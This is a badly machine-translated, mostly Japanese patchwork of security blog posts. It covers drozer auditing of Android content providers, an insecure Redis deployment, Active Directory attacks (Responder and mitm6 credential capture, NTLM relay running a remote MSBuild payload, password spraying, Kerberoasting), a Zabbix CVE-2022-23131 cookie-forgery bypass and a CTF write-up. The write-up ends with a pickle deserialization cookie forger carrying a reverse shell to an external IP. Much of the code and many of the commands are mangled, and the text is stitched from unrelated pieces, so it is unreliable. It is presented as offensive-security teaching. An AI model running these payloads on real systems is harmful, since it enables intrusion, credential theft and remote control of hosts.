コマンド:app.provider.query urlアドレスを接続できるquery urlアドレス-projection '* sqlite_master from sqlite_master where "type=' table '; - ' run app.provider.dese.ipc.provider/- project '* sqlite_master from from phose=3つの視点からsqlite_master Android_metadata、パスワード、およびキー。名前から、Android_metadataはシステム関連のテーブルであり、他の2つはパスワードと他のデータに関連している可能性があると判断できます。

安卓四大组件审计实验(drozer)

(5)テーブルでデータを取得します(キーなど)。

コマンド:app.provider.query urlアドレスを接続できるquery urlアドレス-projection '* from' 'run app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- from key; - '(6)、SQL注入の検出

コマンド:scanner.provider.injection -aパッケージ名を実行します

scanner.provider.injection -a com.zhuoyigou.dese 1049983-20211217131244758-1741595285.png(7)、検出ディレクトリトラバーサルコマンド:Run scanner.provider.traversal -aパッケージ名run scanner.provider.provider.traversal -a com.zhuoyigou.dese 1049983-20211217131245151-1456269698.png(8) app.provider.read urlアドレスを接続できますapp.provider.read content: //com.zhuoyigou.dese.ipc.provider/1049983-20211217131245503-305825827.png(9)、ローカルコマンドへのシステムファイルをダウンロード:実行app.provider.download download downlow downolut

app.provider.download content: //com.mwr.example.sieve.filebackupprovider/data/data/com.mwr.example.sieve/databを実行します

1。 Redisサービスのインストール

システム環境:CENTOS7X64 IPアドレス:192.168.1.11

1。静的IPアドレスを設定します

[root@localhost backlion] #vi/etc/sysconfig/network-scripts/ifcfg-*

bootproto=static #dhcp to static(modify)

onboot=はい#この構成は、通常は最後の行で電源を入れるときにenableです(変更)

iPaddr=192.168.1.11 #Static IP(追加)

ゲートウェイ=192.168.1.1#デフォルトゲートウェイ。仮想マシンがインストールされている場合、それは通常2です。これはVMNET8のゲートウェイ設定です(追加)

netmask=255.255.255.0 #subnetマスク(追加)

DNS1=192.168.1.1 #DNS構成。仮想マシンをインストールする場合、DNSだけが単なるゲートウェイです。複数のDNS URLを追加する場合は、それらを追加します(追加)

2。ホスト名を設定

[root@localhost network-scripts]

1. Redisのリポジトリアドレスを設定します

[root@localhost backlion]#yumininstall epel-release

3。ファイアウォールをオフにします

[root@localhost〜]#cat/etc/selinux/config

#このファイルは、システム上のSELINUXの状態を制御します。

#selinux=これら3つの値のいずれかを取得できます3:

#執行- SELINUXセキュリティポリシーが施行されています。

#許容- SELINUXは、強制する代わりに警告を印刷します。

#無効-Selinuxポリシーはロードされていません。

selinux=disabled

#SELINUXTYPE=3つのValue:のいずれかを取得できます

#ターゲット - ターゲットプロセスが保護されています、

#最小- ターゲットポリシーの変更。選択されたプロセスのみが保護されています。

#MLS-マルチレベルのセキュリティ保護。

selinuxType=ターゲット

閉じるファイアウォール:

Systemctl stop firewalld.service #stop firewall

SystemCtl Disabled firewalld.service #disable firewallブート

4。 Redis

をインストールします

[root@localhost

backlion]#yumインストールredis

構成ファイルを変更し、すべてのIPアドレスを聞く

vim /etc/redis.conf

次の行を見つけます

バインド

127.0.0.1

に変更します

0.0.0.0をバインドします

3。Redis構成認証パスワード

yumメソッドにインストールされているRedis構成ファイルは通常/etc /redis.confにあり、パスワードを追加し、デーモニズはyesと保護されたモードを設定します。

requirepass backlion

はいデーモー化

保護されたモード番号

nrrlemdsla38999.jpg

4. Redisを開始して完了します

[root@localhost]

backlion]#redis-server /etc/redis.conf

[root@localhost]

backlion]#service redis start

自動起動をセットアップする必要がある場合

chkconfig

redis on

[root@localhost]

backlion]#yumインストールgit

[root@localhost]

バックライオン] #CD /OPT

[root@localhost backlion]#

git clone https://github.com/grayddq/publicsecscan.git

2。サーバー展開

システム環境:Ubuntux64 IPアドレス:192.168.1.12

1。Optディレクトリを入力します

root@backlion:〜#

CD /OPT

2。スキャンプロジェクトPublicsecscanをダウンロードします

root@backlion:〜#

git clone https://github.com/grayddq/publicsecscan.git

3. Publicsecscanディレクトリを入力します

root@backlion:〜#

CD Publicsecscan

4. publicsecscanをインストールします

ピップ

-r requistions.txtをインストールします

5 lib/config.py configurationファイルを構成します(Redisと電子メール(オプション)関連情報に入力します、WVS情報は無視できます

))

p4kcfet3bgf9000.jpg

6。

domain.txtでスキャンする情報を入力し、いつでも更新できます

7。実行

Python

publicsecscan.py

kfl0pe14kdt9001.jpg

iii。ワーカーの展開

システム環境:Win7x86 IPアドレス:192.168.1.13

1. Python 2.7.5をインストールします

https://www.python.org/ftp/python/2.7.5/python-2.7.5.msi#ここではwin7x86です

2。AWVS10.5をインストールします

リンク:https://pan.baidu.com/s/16imwwgijzyi6cr1rocd7mqパスワード:ia2m

3. Pythonモジュールを個別にインストールします

AMQP-1.4.6、

Anyjson-0.3.3、10億-3.3.0.13、Celery-3.1.7、Celery-4.1.1、Kombu-3.0.25、

Pytz-2018.4、Redis-2.10.6、Setuptools-39.2.0、XLWT-1.3.0、PIP-10.0.1

次のコマンドを使用してインストールします

Python

setup.pyインストール

私はすでにパッケージを完成させ、簡単にダウンロードするためにBaidu Netdiskにアップロードしました:

リンク:

https://pan.baidu.com/s/1sv-wudzzhmtnuua2s4fbjqパスワード:

TNBW

4。lib/config.py構成ファイルを構成します(RedisおよびWVS関連情報に入力すると、電子メール情報を無視できます。

))

5. publicsecscanディレクトリを入力し、コマンドを実行します

CMDコードディレクトリの実行、-c 1はさらに1つのWVSプロセスを表します。

セロリ

-aタスクワーカー-c 1 - loglevel=info -ofair

1n5isnknt3g9002.jpg

6。サーバーの展開での結果の結果を表示します:

出力ディレクトリデフォルト:/out/2sh5wwzfekt9003.jpg

0x01はじめに

浸透テストの前にいくつかのクライアントが私にやって来て、彼らの脆弱性スキャンが深刻な脆弱性を示さず、セキュリティテストの準備ができていないため、彼らのシステムは非常に良いセキュリティの仕事をしていると言っています。

侵入テストの分野で私が見た教育の欠陥の1つは、現在侵入アクティブディレクトリ(AD)に関与している知識の欠如です。残念ながら、OSCPは広告テストをカバーしておらず、Sans-Gpenコースでさえめったにそれを伴うことはありません。この記事の目標は、過去のADのセキュリティテストで使用したテクニック、ツール、および方法のいくつかを紹介することです。これは、各方法またはツールに関する包括的なマニュアルではありません。このシリーズでは、Kali Linux 2019を使用し、仮想マシンを介して自分の仮想ドメインで動作します。

まず、目標を説明することから始めましょう。浸透テストの目標は、攻撃者がネットワークを破壊するために使用する可能性のある攻撃ベクトルを特定することです。ドメイン管理者の権限用ではありません。

目標が得られたので、それを達成するためにいくつかの手順に従います。以下は、テストセッションの(ラフ)イラストガイドです。

gbpbpqdqx2j8020.png

概要:クライアントがあなたを雇って、Active Directoryを使用するネットワーク上で浸透テストを実行します。関連情報は提供されておらず、ログイン資格情報も攻撃範囲も、クライアント企業の正面玄関に入る資格もありませんが、裏口から入ってIP電話付きの隠れた部屋を見つけることができます。 IP電話のプラグを抜き、ラップトップに接続して、カスタマーサービス会社と同じLANにいることがわかります。次は何ですか?足場を獲得する許可を取得します。

0x02フェーズ1:許可の足場の取得

信託証明書なしで、私たちができる偵察の数は制限されており、サイクル全体のほぼすべてのステップを行いますが、ネットワークに基づいてすぐに対策を講じることができます。まず、ネットワークアクセスがあるため、ifconfigまたはipconfig経由でサブネットを確認してください。 IPを取得した後、NMAPでpingスキャンを実行して、他のデバイスがアクセス可能かどうかを確認します。

NMAP -SN 192.168.1.1/24

ディスプレイPingが戻ってきた場合、ネットワークデバイスをネットワークに接続できます。何も得られない場合、ICMPが無効になっている可能性があります。ネットワーク上に他のデバイスはありません。または、認証されていないため、他のデバイスと通信できず、Cisco ISEなどのアイデンティティセキュリティソリューションによってブロックされる可能性があります。この記事の目的のために、一部のデバイスネットワークに接続されており、それらを正常にpingすることができると想定されています。

1.レスポンダー

次に、Responderと呼ばれるツールを使用するか、Windowsを好む場合はInveighを使用します。これらの2つのツールの役割は、ADにおける非常に一般的な誤った不明瞭さの能力をチェックし、WPADおよびNBT-NS中毒をもたらすことです。デフォルトでは、Windowsは、インターネットを使用するときにファイルを自動的に発見するようにWebプロキシを検索するように構成されています。これは、デバイスがブロードキャストリクエストプロキシファイルを送信し、プロキシファイルを受信するため、組織で役立ちます。ただし、当然、プロキシファイルを送信した人を確認しないため、攻撃者はスプーフィングされた回答を送信してから資格情報を要求できます。

次に、Responderと呼ばれるツールを使用するか、WindowsとInveighを好む場合は使用します。これらの2つのツールの役割は、ADの一般的な誤った採掘をチェックし、WPADおよびNBT-NS中毒をもたらすことです。場合によっては、WindowsがWebプロキシを検索するように構成されており、インターネットを使用するときにファイルを自動的に検出します。これは、デバイスがブロードキャストリクエストプロキシファイルを送信し、プロキシファイルを受信するため、エンタープライズ組織で役立ちます。ただし、当然、プロキシファイルを送信した人に認証されておらず、攻撃者がスプーフィングされた回答を送信してから資格情報を要求することができます。

カリでは、レスポンダーのデフォルトインストール

Responder -I ETH0 -WPAD

Windows 7コンピューターでは、インターネットエクスプローラーを開いてGoogleに行き、WPADファイルの検索を開始します。レスポンダーでは、リクエストパスが表示され、レスポンダーがチャレンジでリクエストに自動的に応答します。これにより、被害者はユーザー名とハッシュパスワードを送信します(ntlmv2形式)

vrpcwhhjd5b8021.png

このハッシュテーブルで、私たちは何かをすることができます。リレーにntlmrelay.pyのようなツールを使用しようとすることもできます。この投稿で、NTLMハッシュを転送する方法を説明したので、それをクラックする方法を説明します。これは通常、計画するときに私がすることだからです。

正直に言うと、Linux/Kaliでパスワードをクラックすることはめったにありません。 Kaliに適切にインストールされたことがないNVIDIA GPUグラフィックスカードを使用しています。WindowsにはHashcatguiがあります。これにより、簡単に使用できます。収集されたハッシュ値を「hash.txt」というファイルに保存し、いくつかの簡単なルールと入力設定と出力設定を実行しますが、この記事では辞書Rockyou.txtを使用して実行し、1秒でハッシュ値を正常に割れました。

c1xrlykdgfh8022.png

Hashcatguiの私の設定

uzrgxzbrsvs8023.png

パスワードを正常にクラックしたので、Alice:Passwordのログイン資格情報があります!

継続する前に、レスポンダープログラムが機能しない場合に備えて、他の方法をいくつか見せたいと思います。

2.mitm6

クライアントのネットワークが正当なWPAD PACファイルを使用しており、スプーフィングが適切に機能していないと仮定します。 IPv6とDNSを使用して、資格情報をターゲットに中継する別の手法があります。デフォルトでは、IPv6が有効になり、実際にIPv4よりも優先されます。つまり、コンピューターにIPv6 DNSサーバーがある場合、IPv4を使用します。さらに、デフォルトでは、WindowsコンピューターはDHCPV6要求を介してIPv6 DNSサーバーを検索します。偽のIPv6 DNSサーバーを使用してスプーフィングすると、デバイスがDNSをクエリする方法を効果的に制御できます。ここでより多くのコンテンツを読むことができます。

まず、MITM6をダウンロードします

git clone https://github.com/fox-it/mitm6.git

CD MITM6

ピップインストール。

次に、ターゲットネットワークワークグループに対して実行します。以前にpingスキャンを行ったことがあるため、ターゲットドメインがlab.localであることを示すnetbios名も取得しました。

MITM6を実行する前のターゲットのIP設定は次のとおりです。

fboi0v4hbyv8024.png

DNSサーバーに注意してください

次に、MITM6を実行します

mitm6 -d lab.local

1naqqhevkg18025.png

これで、ターゲット上のDNSサーバーが変更されました

lqhhbunno0s8026.png

IPv6アドレスはDNSサーバーとして使用されることに注意してください

現在の真の脆弱性は、WindowsでのIPv6攻撃がIPv4よりも優れていることです。つまり、DNSは現在制御されています。

したがって、DNSを制御するためにNTLMRELAYX.PYによって再びWPAD応答を再び吹き飛ばすという事実を利用してください。ここでは、セットアップ方法に関するガイドを書きました。

MITM6を1つのウィンドウで実行するときは、別のウィンドウを開き、ntlmrelayx.pyを実行します

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/-i

-WH:サーバーホスティングWPADファイル(攻撃者のIP)

-T:ターゲット(スプーフィングしている同じデバイスに資格情報を中継することはできません)

-I:インタラクティブなシェルを開きます

4lua4myshxa8027.png

ここから、完全にインタラクティブなSMBシェルを持っているかのように、Netcatを介してシェルに接続するか、-C(コマンド)を介して帝国のステーガーを送信することができます。実際、あなたの選択はNTLMRELAYX.PYができることに限定されています。この場合、-Cコマンドを使用して、Silent Trinity有効なペイロードを実行します。 Silent Trinityの使用方法についてここに書きました。

ntlmrelayx.py -WH 192.168.218.129 -T SMB: //192.168.218.50/-NO -SMB -SERVER -C 'c: \ windows \ microsoft.net \ framework64 \ v3.5 \ msbuild.exe \\ 192.168.218.129 \ smb \ msbuild.xml'

vktxrghrj4q8028.png

ただし、この場合、MSBUILD.EXEはこの場合にXMLファイルを構築しておらず、Silent Trinityへの接続も返されません。これは簡単すぎるためです。代わりに、SMBサーバーを見て、リレーハッシュを表示します

tfb10gieosz8029.png

それから私はそれをうまくクラックしました

ycrylx4eclt8030.png

これで、レスポンダーを使用せずにネットワーク資格情報を正常に持っています

3.CrackMapexec

CrackMapexecは、本質的にスイスアーミーナイフです。パスワードスプレーとハッシュからコマンドの実行まで、すべての浸透テストキットで使用する必要があります

他のすべてが失敗した場合は、パスワードスプレーを試すことができます。この方法が最後の方法である理由は、パスワードがロックされているためです。パスワードのロックは、あなたが思うほど一般的ではないため、攻撃者は辞書を使用してユーザー名を攻撃できます。ユーザー名を取得することは最初のステップです。これは、OSINTおよび情報コレクターを使用して実行できます。 OSINTのユーザー名がない場合は、CrackMapexec(CME)にユーザー名の辞書を与えることもできますが、時間の理由で、rsmithのユーザー名が存在すると仮定します。

Kaliの新しいバージョンを使用している場合、CrackMapexecはデフォルトでインストールされますが、そうでない場合はインストールできます

apt-get crackmapexecをインストールします

スキャン内のネットワーク上のデバイスを識別するため、ユーザー名とペアになったパスワード辞書をCMEに提供し、ログインしようとすることができます。

CrackMapexec SMB 192.168.218.40 -D Lab.Local -U rsmith -P〜/documents/wordlists/fastTrack.txt -Shares

数秒でパスワードが取得されます。

2mgvsu0nacr8031.png

これはCTF-Yのように見えるかもしれませんが、シーズン:歳は非常に人気のある暗号の組み合わせです。

これらの見つかった資格情報を使用すると、通常のユーザーアカウントがあり、以下の許可を増やし続けています

上記では、3つの異なる方法でドメインの資格情報を取得しました。この記事のほとんどについては、許可が低レベルであるため、Rsmithユーザー資格情報を使用します。これにより、許可エスカレーションが可能になります。

もちろん、Windowsでの許可エスカレーションは、見積もりのないパッチやサービスパスシステムの欠落から生じる可能性がありますが、これは広告のテストであるため、いくつかの広告コンテンツを利用してアクセス許可をエスカレーションします。

ネットワーク資格情報を使用すると、最初に情報収集を行い、次にパッチの脆弱性を直接表示する必要があります。私たちに役立ついくつかのツールとテクニックがあります。

0x03ステージ2:特権の標高と情報収集

1.Bloodhound

私のお気に入りのツールの1つはBloodhoundです。グラフィカルに表示されているBloodhoundは、グラフ内のドメインを文字通りマッピングし、関連する関係と無関係の関係を明らかにしているため、素晴らしいツールです。攻撃者の視点から、これは私たちにターゲットを示しているので興味深いです。

ここで読むことができるBloodHoundに関する記事全体を書きましたが、TLを示します。DRバージョン

コンピューターでセッションを取得していないが、資格情報があるとします。 BloodhoundのPythonを使用して、リモートでデータを収集できます。 Gitを介してインストールできます

git clone https://github.com/fox-it/bloodhound.py.git

CD Bloodhound.py/pipインストール

その後、資格情報、ドメイン、およびDC IPSを通過することで実行できます

Bloodhound -Python -D Lab.Local -U RSMITH -P WINTER2017 -GC LAB2008DC01.LAB.LOCAL -C ALL

veigmcirked8032.png

BHがタスクを完了すると、データを.json形式で実行しているディレクトリに保存します。これらのファイルをコピーしてブラッドハウンドにドラッグすると、素敵なWebマップができました。 「ドメイン管理のための最短パス」で並べ替えると、以下のものに似たものが得られます。

w43sh4l3okf8033.png

GumminaliceはDCにログインします

これの利点は、管理者がログインしているコンピューターを直接表示して、次の目標を提供できることです。低主権の資格情報を受け入れる数百または数千のコンピューターがあるドメインでは、他の低プリビレジの資格情報を収集するだけで時間を無駄にしたくありません。これにより、ターゲットのリストと他の多くのものが提供されます。その他の用途には、資格情報を含むデータベースがあるSQLサーバーの識別、RDPに接続できるマシンの識別などがあります。ここで詳細な機能を掘り下げることをお勧めします。また、Bloodhoundが描いた攻撃計画を自動的に活用するGoFetcをご覧ください。

2. KERBEROSTING | getuserspns.py

ターゲットリストとドメインコントローラーを識別することにより、アクセス許可をアップグレードする1つの方法はKerberoAstingです。サービスプリンシパル名(SPN)がADのサービスアカウントに発行されるため、Kerberostingを実行できます。その後、すべてのユーザーは、そのアカウントのハッシュパスワードを使用してSPNからKerberosチケットを要求できます(Kerberos 5 TGS-REP形式)。 Kerberostingにはさまざまなツールがありますが、実際には1つのツールだけが必要です。

getUserSpns.pyは非常にシンプルです - ターゲットドメインのユーザーアカウントの下で実行されているSPNを照会します。とても使いやすいです。

2stkdcjwiih8034.png

これで、サービスアカウントにハッシュ値があります。以下に示すように、ハッシュカット(もちろんGUI)にロードし、選択したハッシュタイプ13100を選択しました

id4q4c5435h8035.png

数秒で正常に爆発します

ishanptgcqw8036.png

現在、サービスアカウントの資格情報があります。これは通常、ドメインコントローラーへのアクセスが成功します。簡単すぎますか?他の方法を試してみましょう。

3. aseproasting |ルベウス

aseproastingはKerberostingに似ています。この意味で、アカウントのTGTを照会し、ハッシュを取得してからクラックしますが、Aseproastingの場合には非常に大きな警告があります。 Kerberos as-reqメッセージを介してTGTを要求すると、ユーザー名とパスワードで暗号化されたタイムスタンプも提供します。次に、キーディストリビューセンター(KDC)はタイムスタンプを復号化し、そのユーザーからのリクエストを検証し、認証プロセスを進みます。これは、Kerberosの認証前のプロセスであり、これは明らかに攻撃者の問題です。なぜなら、私たちはKDCではなく、メッセージを解読できないからです。もちろん、これは攻撃を防ぐように設計されていますが、事前認証がオフになった場合は、任意のユーザーにAS-REQを送信でき、ハッシュパスワードを返します。これはまれですが、事前認証がデフォルトで有効になっているため、まだ言及する価値があります。

cux2lrf55am8037.png

「Kerberosの事前認証は必要ない」ため、TsmithはasReproastingの影響を受けやすい」

これを活用するために、Rubeusと呼ばれるツールを使用します。ルベウスは、Kerberosを乱用する大きなツールセットですが、アスレプロストの場合、私たちはこの部分に関心があります。 Rubeusを使用するには、まずVisual Studioをインストールする必要があります。インストールが完了したら、Rubeusをダウンロードし、Visual Studioを使用してRubeus.slnファイルを開きます。

g43ci3cf1sn8038.png

e5bh4drkrdc8039.png

デフォルトでは、rubes \ bin \ debug \ fileにインストールされます。 CDはそのディレクトリに入り、それを実行します:

。\ rubeus.exe asreproast

fzhzqlaoqbi8040.png

ユーザーが「Kerberosの事前認証が必要でない」をチェックしない場合、ユーザーは認証されません。しかし、ある場合.

m0kggqw55pa8041.png

その後、ユーザーのハッシュを取得してクラックできます。

この例はドメイン結合マシンで行われているため、ドメインにないマシンからこれを行っている場合は、ドメインコントローラー、ドメイン名、OUなどに接続する必要があります。

4.silenttrinity

SilentTrinityは、IronpythonとC#を使用する @byt3bl33d3rによって開発された新しいコマンドおよびコントロール(C2)ツールです。 MSBUILD.EXEを使用するオプションがあります。C#コード(デフォルトではデフォルトで.NETの一部としてWindows 10にインストールされている)を構築するWindowsバイナリ、コマンドとコントロール(C2)のペイロードをXML形式で実行し、攻撃者が基礎となる.NETフレームワークを使用して、Ironpython、C#およびその他の言語を介して犠牲者のホストを操作できるようにします。

個人的に、Silent -Trinityは私のツールボックスで帝国に取って代わり、私はここに帝国の使用方法に関するガイドを書きました。私は帝国のつながりを好む場所がいくつかありますが、STは「アルファ」状態にあるため、この機能もSTに反映されます。私の意見では、STが帝国に取って代わる主な理由が3つあります。

Empireのペイロードは、難読化においてさえ、Windowsのディフェンダーによってキャプチャされています(それを解決する方法はたくさんありますが、それでも)。

STはコマンドの下で実行されます

–AT execパラメーターを使用してCMEでペイロードを実行する場合、システム許可にアクセス許可をアップグレードできます

これは、非ドメイン管理者ユーザー資格情報を使用した新しいWindows10インストールのPOCです

br5sv54tjvg8042.png

アカウント「Tsmith」は、ユーザーグループのみにあります

pohydp33mqw8043.png

Tsmithの資格情報を使用してコードを実行します

SilentTrinityでXMLペイロードを生成し、SmbServer.py経由でSMBサーバーでホストします。それを行う方法について混乱している場合は、私のガイドに従ってください。次に、CMEを使用して、攻撃者のマシンでXMLファイルを取得するコマンドを実行します。

SilenttrinityでXMLペイロードを生成し、SMB Server.pyを介してSMBサーバーでホストします。それを行う方法について混乱している場合は、私の指示に従ってください。次に、CMEを使用して、攻撃者のマシンでXMLファイルを取得するコマンドを実行します。

CrackMapexec 192.168

0x00はじめに

最近、Zabbixの脆弱性(CVE-2022-23131)がそれを再現し、誤って外国企業のZabbixサーバーを取得しました。 Zabbix Sia Zabbixは、ラトビアのZabbix SIA(Zabbix SIA)のオープンソース監視システムです。このシステムは、ネットワーク監視、サーバー監視、クラウド監視、アプリケーション監視をサポートします。 Zabbix Frontendには、悪意のあるアクターがセッションに保存されているユーザーログインが検証されていないため、SAML SSO認証(非デフォルト)を有効にしてセッションデータを変更できるセキュリティの脆弱性があります。認可されていない悪意のある攻撃者は、この問題を活用してアクセス許可をエスカレートし、Zabbixのフロントエンドへの管理者アクセスを獲得する場合があります。

0x01脆弱性原因

SAML SSO Authentication Enabled(非デフォルト)を使用して、悪意のある攻撃者はセッションデータを変更して認証バイパスを実装できます。認可されていない悪意のある攻撃者は、この問題を活用してアクセス許可をエスカレートし、Zabbixのフロントエンドへの管理者アクセスを獲得する場合があります。

この脆弱性は、index_sso.phpファイルに存在します。 index_sso.phpファイルはcencryptedcookiesession3:checksign()メソッドを呼び出しておらず、クッキーを検証するため、クライアントのCookieを偽造できます。

index_sso.phpファイルから、forged cookieにsaml_dataが存在すると、username_attributeデータが取得されることがわかります。ユーザーが実際に存在する場合、セッションIDが生成され、アイデンティティ認証バイパスを実現します

0x02脆弱性の影響

5.4.8

5.0.18

4.0.36

0x03脆弱性の再発

FOFA:app='zabbix-supervision system' body='saml'execution curl -kssil http://xxx.com/

image-20220228135432625

セットクッキーの値を取得し、URLデコードを実行してから、base64デコード

URLデコード:

eyjzzxnzaw9uawqioiixnzfiodawoti4ndq2mmuxzgrhodayywfjodk5mdi2yyisinnpz24ioij0etzszvkzvddeyenjsef m2zlpyntrht3pcmhbhs25vwwhzdr3mhdkc2lwntj2audndulpqevjyquj5wdk5bghnmvvhbfm4ctrwnjbkb1wvugc9psj9

base64デコード:

{'SESSIONID':'171B8009284462E1DDA802AAC899026C'、 'SIGN':'TY6REY3T4QTGX zrlxs6fzr54aozb0paknoxpad4w0wjsip52viggw+crzjyrrabyx99lhm1ugls8q4p60jo \/pg=='}

image-20220228135629785

次に、文字列をスプライスします

{'saml_data': {' username_attribute':'admin '}、' sessionid':'171b8009284462e1dda802aac899026c '' '、 'sign':'ty6rey3t4qtgxzrlxs6fzr54aozb0paknoxpad4w0wjsip52vigggw+crzjyrrabyx999lhm1ugls8q4p60jo \/pg='}}}}}

スプライシング後、Base64暗号化が実行されます

image-20220228142358256

次に、urlencodeで

image-20220228142419540

image-20220228142545863

コマンドを実行

image-20220228142656315

管理- スクリプトを見つけて新しいスクリプトを作成します。ここで作成しましたifconfig

image-20220228143058058

image-20220228142800341

監視の最新のデータを見つけてから、実行するホストグループを除外し、ホスト名をクリックして対応するコマンドを実行します

image-20220228142957655

または、Github Exploitスクリプト:https://github.com/l0ading-x/cve-2022-23131https://github.com/mr-xn/cve-2022-23131スクリプトを実行します。1049983-20220303100933103-1583005440.jpg交換用クッキーのZBX_SESSION値はペイロードです。次に、シングルサインオン(SAML)1049983-20220303100933863-1203796296.jpgでサインインをクリックします。1049983-20220303100934820-1396911793.jpg

0x04修復方法

1。SAML認証を無効にします

2.セキュリティバージョンをアップグレードする(https://Support.zabbix.com/browse/zbx-20350)

yangcheng cup-2024

web

web2

質問に関する情報を収集します。 Dirsearchは、ログインルートにアクセスできることを発見しました。さりげなくクリックして、読むファイルを見つけました:

http://139.155.126.78336030148/歌詞?歌詞=rain.txtiそれを試しました:

http://139.155.126.78336030148/歌詞?歌詞=./././././././././././././

1049983-20241004160047878-2048146175.jpg

任意のファイルの読み取りだと思いましたが、それほど単純ではありませんでした。

最初にソースコードを読んで、/static/style.cssで試してみてください。

1049983-20241004160048783-1918941077.jpg

ファイルが読み取られているディレクトリは/var/www/html/xxx/にあることがわかりました。

1049983-20241004160049544-986345257.jpg

ソースコードが見つかりました。その後、対処が簡単になり、ソースコードが添付されます。

OSをインポートします

ランダムをインポートします

from config.secret_key Import Secret_code

フラスコからインポートフラスコ、make_response、request、render_templateから

CookieからImport set_cookie、cookie_check、get_cookieから

ピクルスをインポートします

app=flask(__name__)

app.secret_key=random.randbytes(16)

クラスuserdata:

def __init __(self、username):

self.username=username

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data.lower():のword.lower()の場合

valid=true

壊す

有効に戻ります

@app.route( '/'、method=['get'])

def index():

return render_template( 'index.html')

@app.route( '/歌詞'、method=['get'])

def歌詞():

resp=make_response()

resp.headers ['content-type']='text/plain; charset=utf-8 '

query=request.args.get( '歌詞')

path=os.path.join(os.getcwd() + '/歌詞'、query)

try:

f:のオープン(パス)

res=f.read()

E:としての例外を除く

「歌詞が見つかりません」を返します

RESを返します

@app.route( '/login'、method=['post'、 'get']))

def login():

if request.method=='post ':

username=request.form ['username']

user=userdata(username)

res={'username': user.username}

return set_cookie( 'user'、res、secret=secret_code)

RENDER_TEMPLATE( 'login.html')を返します

@app.route( '/board'、method=['get'])

DEFボード():

invalid=cookie_check( 'user'、secret=secret_code)

Invalid:の場合

「いや、無効なコードが出てください!」

data=get_cookie( 'user'、secret=secret_code)

ISInstance(データ、バイト):の場合

a=pickle.loads(data)

data=str(data、encoding='utf-8')

data:にない「username」の場合

return render_template( 'user.html'、name='guest')

data ['username']=='admin':の場合

return render_template( 'admin.html'、name=data ['username']))

data ['username']!='admin':の場合

return render_template( 'user.html'、name=data ['username']))

__name__=='__main __' :の場合

os.chdir(os.path.dirname(__ file__))

app.run(host='0.0.0.0'、port=8080)がpycharmに配置されると、2つの存在しないライブラリが見つかります。そのため、現在のフォルダーの.py endingファイルのみを呼び出すことができます。

Pythonでの呼び出しが使用されます。フォルダーの代わりに、探しているのは./cookie.py and ./config/secret_key.pyです。1つ目はCookieの暗号化方法で、2番目はCookieの署名キーです。

次に、Pickle.Loadsがボードで使用されていることがわかり、WAFSにはRキャラクターがあります。それは、ピクルスの脱介入の非R方向で十分であることを意味します。

アイデア:非R方向のピクルスシリアル化スクリプトを使用して入力し、Cookie暗号化方法とキーを使用して署名し、Cookieを変更し、シェルを直接リバウンドします。

最初にcookie.pyを読む:

1049983-20241004160050257-2019573803.jpg

ソースコード:

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

unicode=str

BaseString=str

#Pythonボトルテンプレートから引用、dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(pickle.dumps(data、-1))

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def cookie_decode(data、key):

data=tob(data)

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()):の場合

return pickle.loads(base64.b64decode(msg))

なしなし

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def cookie_check(key、secret=none):

a=request.cookies.get(key)

data=tob(request.cookies.get(key))

data:の場合

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(secret)、msg、digestmod=hashlib.md5).digest()):の場合

res=base64.b64decode(msg)

WAF(res):の場合

trueを返します

else:

falseを返します

trueを返します

else:

falseを返します

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

def get_cookie(key、default=none、secret=none):

value=request.cookies.get(key)

秘密とvalue:の場合

dec=cookie_decode(value、Secret)

DEC [1]を返すdec and dec [0]==キーelse default

返品値またはデフォルト

def cookie_is_encoded(data):

データにbool(data.startswith(tob( '!'))およびtob( ''? ')を返す)

def _lscmp(a、b):

sum(0 x==yの場合、x==yの場合は0、zip(a、b))およびlen(a)==len(b)の場合は0

def set_cookie(name、value、secret=none、** options):

secret:の場合

value=touni(cookie_encode((name、value)、secret))

resp=make_response( 'success')

resp.set_cookie( 'user'、value、max_age=3600)

RETURN REST

ElifはISINSTANCE(Value、Basestring):ではありません

Laise TypeError( '非弦のクッキーの秘密の鍵がありません。')

Len(Value)4096:の場合

Raise ValueError( 'cookie value to long'。 ')

def touni(s、enc='utf8'、err='strict'):

s.decode(enc、err)を返すISInstance(s、bytes)else unicode(s)ここで使用する必要があるのは、cookie_encode関数であるCookieの暗号化プロセスです。

次に、secret_keyを読みましょう:

1049983-20241004160050986-1957658911.jpg

次に、スクリプト内の他のものを直接削除し、secret_codeとcookie_encryptで暗号化すると、スクリプトが添付されます。

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

フラスコのインポートフラスコから、make_responseから

app=flask(__name__)

unicode=str

BaseString=STR#Pythonボトルテンプレートから引用、Dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(data)

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

__name__=='__main __' :の場合

res=b '' ''(s'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01' '\ nios \ n。' '' '

secret_code='feantheplaytime123456'

cookie_value=cookie_encode(res、key=secret_code)

印刷(cookie_value)実行するには:

